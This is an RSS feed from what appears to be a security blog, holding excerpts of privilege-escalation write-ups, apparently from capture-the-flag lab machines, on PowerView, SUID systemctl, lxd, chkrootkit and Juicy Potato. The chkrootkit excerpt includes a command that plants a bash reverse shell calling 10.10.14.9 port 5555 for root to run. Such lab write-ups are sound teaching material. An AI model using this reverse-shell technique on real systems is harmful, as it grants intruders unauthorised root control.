<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Privilege Escalation on rchitect</title><link>https://www.rchitect.in/series/privilege-escalation/</link><description>Recent content in Privilege Escalation on rchitect</description><generator>Hugo</generator><language>en</language><lastBuildDate>Mon, 18 Jul 2022 00:00:00 +0000</lastBuildDate><atom:link href="https://www.rchitect.in/series/privilege-escalation/index.xml" rel="self" type="application/rss+xml"/><item><title>Powerview usage for privilege escalation</title><link>https://www.rchitect.in/posts/powerview/</link><pubDate>Mon, 18 Jul 2022 00:00:00 +0000</pubDate><guid>https://www.rchitect.in/posts/powerview/</guid><description>&lt;h1 id="powerview-script-usage-for-privilege-escalation"&gt;
 Powerview Script usage for privilege escalation
 &lt;a class="heading-link" href="#powerview-script-usage-for-privilege-escalation"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h1&gt;
&lt;p&gt;Powerview script can be for enumeration and privilege escalation.&lt;/p&gt;
&lt;p&gt;The script can be downloaded from &lt;a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1" class="external-link" target="_blank" rel="noopener"&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I will explain few scenrios which i have used poweview for enumeration and privilege escalation. Most of times I will upload the file like this to windows( location C:\ProgramData)&lt;/p&gt;
&lt;p&gt;Make sure to activate the script by using below command&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Import-Module .\PowerView.ps1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src="https://www.rchitect.in/images/walk/powerview/1.png" alt="powerview"&gt;&lt;/p&gt;</description></item><item><title>Systemctl privilege escalation</title><link>https://www.rchitect.in/posts/systemctl/</link><pubDate>Thu, 28 Apr 2022 00:00:00 +0000</pubDate><guid>https://www.rchitect.in/posts/systemctl/</guid><description>&lt;h1 id="systemctl-suid-enabled-privilege-escalation"&gt;
 Systemctl (suid enabled) privilege escalation
 &lt;a class="heading-link" href="#systemctl-suid-enabled-privilege-escalation"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h1&gt;
&lt;h5 id=""&gt;
 
 &lt;a class="heading-link" href="#"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;Sceanrio: We have initial shell and during the checks we have found a systemctl file is enabled with SUID bit. refer below:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As per checking GTFO site, its says as below&lt;/p&gt;</description></item><item><title>lxd group privilege escalation</title><link>https://www.rchitect.in/posts/lxd/</link><pubDate>Thu, 14 Apr 2022 00:00:00 +0000</pubDate><guid>https://www.rchitect.in/posts/lxd/</guid><description>&lt;h1 id="lxd-group-privilege-escalation"&gt;
 lxd group privilege escalation
 &lt;a class="heading-link" href="#lxd-group-privilege-escalation"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h1&gt;
&lt;h5 id="scanrio-as-per-checking-the-user-privilege--there-is-one-thing-which-can-help-us-escalating-the-privilegeuser-belong-lxd-group"&gt;
 Scanrio: As per checking the user privilege , there is one thing which can help us escalating the privilege.User belong lxd group
 &lt;a class="heading-link" href="#scanrio-as-per-checking-the-user-privilege--there-is-one-thing-which-can-help-us-escalating-the-privilegeuser-belong-lxd-group"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h5&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There are some exploits which shows the lxd privileges can be &lt;a href="https://www.hackingarticles.in/lxd-privilege-escalation/" class="external-link" target="_blank" rel="noopener"&gt;escalated&lt;/a&gt;.&lt;/p&gt;
&lt;h6 id="on-kali-machine"&gt;
 On Kali machine:
 &lt;a class="heading-link" href="#on-kali-machine"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h6&gt;
&lt;p&gt;Download and build the alpine image&lt;/p&gt;</description></item><item><title>Privilege Escalation in Linux</title><link>https://www.rchitect.in/posts/linux-pivilege/</link><pubDate>Thu, 17 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.rchitect.in/posts/linux-pivilege/</guid><description>&lt;h1 id="privilege-escalation-for-linux-machines-before-running-scripts-like-linpeas"&gt;
 Privilege Escalation for Linux machines before running scripts like linpeas
 &lt;a class="heading-link" href="#privilege-escalation-for-linux-machines-before-running-scripts-like-linpeas"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h1&gt;
&lt;p&gt;I am trying explain the few commands which i use before i use any privilege escalation scripts like linpeas,linenum etc.&lt;/p&gt;
&lt;h3 id="sudo-privilege"&gt;
 Sudo Privilege
 &lt;a class="heading-link" href="#sudo-privilege"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Check for any commands which are enabled with Sudo privilege and no password required to run. Remember that some time, you may have to erminate and re-initiate existing session, if no suo command is enabled.&lt;/p&gt;</description></item><item><title>chkrootkit exploit for privilege esclation</title><link>https://www.rchitect.in/posts/chk-rootkit/</link><pubDate>Wed, 09 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.rchitect.in/posts/chk-rootkit/</guid><description>&lt;h1 id="chkrootkit-exploit"&gt;
 Chkrootkit Exploit
 &lt;a class="heading-link" href="#chkrootkit-exploit"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h1&gt;
&lt;p&gt;I have tried pspy and i could see the chkrootkit&lt;/p&gt;
&lt;p&gt;Lets search for the exploit&lt;/p&gt;
&lt;p&gt;As per this exploit if you create any exploit ,if you create a file named &amp;ldquo;update&amp;rdquo; under /tmp.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;amrois@nineveh:/tmp$ printf &amp;#39;#!/bin/sh\n&amp;#39; &amp;gt; update
amrois@nineveh:/tmp$ printf &amp;#39;/bin/bash -c &amp;#34;/bin/bash -i &amp;gt; /dev/tcp/10.10.14.9/5555 0&amp;lt;&amp;amp;1&amp;#34;\n&amp;#39; &amp;gt;&amp;gt; update
amrois@nineveh:/tmp$ chmod +x update 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or You can use EOF to repalce printf command like below&lt;/p&gt;</description></item><item><title>SeImpersonatePrivilege privilege escalation using Juicy Potato</title><link>https://www.rchitect.in/posts/juicy-potato/</link><pubDate>Wed, 09 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.rchitect.in/posts/juicy-potato/</guid><description>&lt;h1 id="exploiting-seimpersonateprivilege-using-juicypotato-for-privilege-escalation"&gt;
 Exploiting &amp;lsquo;&amp;lsquo;SeImpersonatePrivilege&amp;rsquo; using Juicypotato for privilege escalation
 &lt;a class="heading-link" href="#exploiting-seimpersonateprivilege-using-juicypotato-for-privilege-escalation"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h1&gt;
&lt;p&gt;Lets take a sceanrio we have initail reverse shell or nomral user shell which requires to be elvated as Administrator.Checking the Privilege of cuurent user we have noticed &amp;ldquo;SeImpersonatePrivilege&amp;rdquo; is enabled.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State 
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\Windows\SysWOW64\inetsrv&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The below one privilege can be exploited using the [Juicypotato](&lt;a href="https://github.com/ohpe/juicy-potato/releases/tag/v0.1" class="external-link" target="_blank" rel="noopener"&gt;Release Fresh potatoes · ohpe/juicy-potato · GitHub&lt;/a&gt;) for most of the windows machine&lt;/p&gt;</description></item></channel></rss>